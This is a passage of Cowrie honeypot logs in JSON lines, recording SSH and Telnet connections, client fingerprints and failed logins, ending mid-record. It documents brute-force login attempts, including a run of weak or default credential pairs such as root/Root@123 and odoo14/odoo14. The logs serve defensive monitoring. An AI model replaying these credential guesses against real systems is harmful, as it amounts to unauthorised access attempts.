{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:16:29.563938Z","src_ip":"172.237.20.62","session":"de5c98248613","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo14","password":"odoo14","message":"login attempt [odoo14/odoo14] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:16:30.042022Z","src_ip":"172.237.20.62","session":"de5c98248613","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:16:31.204661Z","src_ip":"172.237.20.62","session":"de5c98248613","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.325113296508789,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:16:32.229551Z","src_ip":"125.229.144.191","session":"907404e20f15","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":33182,"dst_ip":"159.203.135.109","dst_port":22,"session":"238d231557a4","protocol":"ssh","message":"New connection: 172.237.20.62:33182 (159.203.135.109:22) [session: 238d231557a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:16:40.332067Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:16:40.337626Z","src_ip":"172.237.20.62","session":"238d231557a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:16:40.500513Z","src_ip":"172.237.20.62","session":"238d231557a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root@123","message":"login attempt [root/Root@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:16:40.988140Z","src_ip":"172.237.20.62","session":"238d231557a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"114.217.149.27","src_port":54528,"dst_ip":"10.17.0.5","dst_port":22,"session":"469497952d4b","protocol":"ssh","message":"New connection: 114.217.149.27:54528 (10.17.0.5:22) [session: 469497952d4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:16:41.561146Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:16:41.567306Z","src_ip":"114.217.149.27","session":"469497952d4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:16:41.807069Z","src_ip":"114.217.149.27","session":"469497952d4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:16:42.153496Z","src_ip":"172.237.20.62","session":"238d231557a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"password321","message":"login attempt [test1/password321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:16:43.476705Z","src_ip":"114.217.149.27","session":"469497952d4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:16:44.711524Z","src_ip":"114.217.149.27","session":"469497952d4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":54158,"dst_ip":"159.203.135.109","dst_port":22,"session":"2ac6ecc93147","protocol":"ssh","message":"New connection: 172.237.20.62:54158 (159.203.135.109:22) [session: 2ac6ecc93147]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:16:51.501532Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:16:51.506378Z","src_ip":"172.237.20.62","session":"2ac6ecc93147","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:16:51.669142Z","src_ip":"172.237.20.62","session":"2ac6ecc93147","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123456","message":"login attempt [root/abc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:16:52.158520Z","src_ip":"172.237.20.62","session":"2ac6ecc93147","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:16:53.323907Z","src_ip":"172.237.20.62","session":"2ac6ecc93147","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":49348,"dst_ip":"159.203.135.109","dst_port":22,"session":"48eab066f2d3","protocol":"ssh","message":"New connection: 172.237.20.62:49348 (159.203.135.109:22) [session: 48eab066f2d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:17:02.418587Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:17:02.485658Z","src_ip":"172.237.20.62","session":"48eab066f2d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:17:02.579887Z","src_ip":"172.237.20.62","session":"48eab066f2d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@123","message":"login attempt [root/admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:17:03.205904Z","src_ip":"172.237.20.62","session":"48eab066f2d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:17:04.368272Z","src_ip":"172.237.20.62","session":"48eab066f2d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":48314,"dst_ip":"159.203.135.109","dst_port":22,"session":"635449e81932","protocol":"ssh","message":"New connection: 172.237.20.62:48314 (159.203.135.109:22) [session: 635449e81932]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:17:13.302700Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:17:13.307762Z","src_ip":"172.237.20.62","session":"635449e81932","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:17:13.470937Z","src_ip":"172.237.20.62","session":"635449e81932","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bigdata","password":"bigdata","message":"login attempt [bigdata/bigdata] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:17:13.951250Z","src_ip":"172.237.20.62","session":"635449e81932","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:17:15.117307Z","src_ip":"172.237.20.62","session":"635449e81932","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":56318,"dst_ip":"159.203.135.109","dst_port":22,"session":"10e9baab9631","protocol":"ssh","message":"New connection: 172.237.20.62:56318 (159.203.135.109:22) [session: 10e9baab9631]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:17:24.231364Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:17:24.236448Z","src_ip":"172.237.20.62","session":"10e9baab9631","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:17:24.396624Z","src_ip":"172.237.20.62","session":"10e9baab9631","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cloud","password":"cloud","message":"login attempt [cloud/cloud] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:17:24.882986Z","src_ip":"172.237.20.62","session":"10e9baab9631","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:17:26.048352Z","src_ip":"172.237.20.62","session":"10e9baab9631","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":46940,"dst_ip":"159.203.135.109","dst_port":22,"session":"670924427951","protocol":"ssh","message":"New connection: 172.237.20.62:46940 (159.203.135.109:22) [session: 670924427951]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:17:35.272897Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:17:35.277742Z","src_ip":"172.237.20.62","session":"670924427951","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:17:35.436878Z","src_ip":"172.237.20.62","session":"670924427951","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ducc0x","password":"phuvanduc","message":"login attempt [ducc0x/phuvanduc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:17:35.920743Z","src_ip":"172.237.20.62","session":"670924427951","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:17:37.083565Z","src_ip":"172.237.20.62","session":"670924427951","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":36956,"dst_ip":"159.203.135.109","dst_port":22,"session":"36ecb77d1e65","protocol":"ssh","message":"New connection: 172.237.20.62:36956 (159.203.135.109:22) [session: 36ecb77d1e65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:17:46.317690Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:17:46.321992Z","src_ip":"172.237.20.62","session":"36ecb77d1e65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 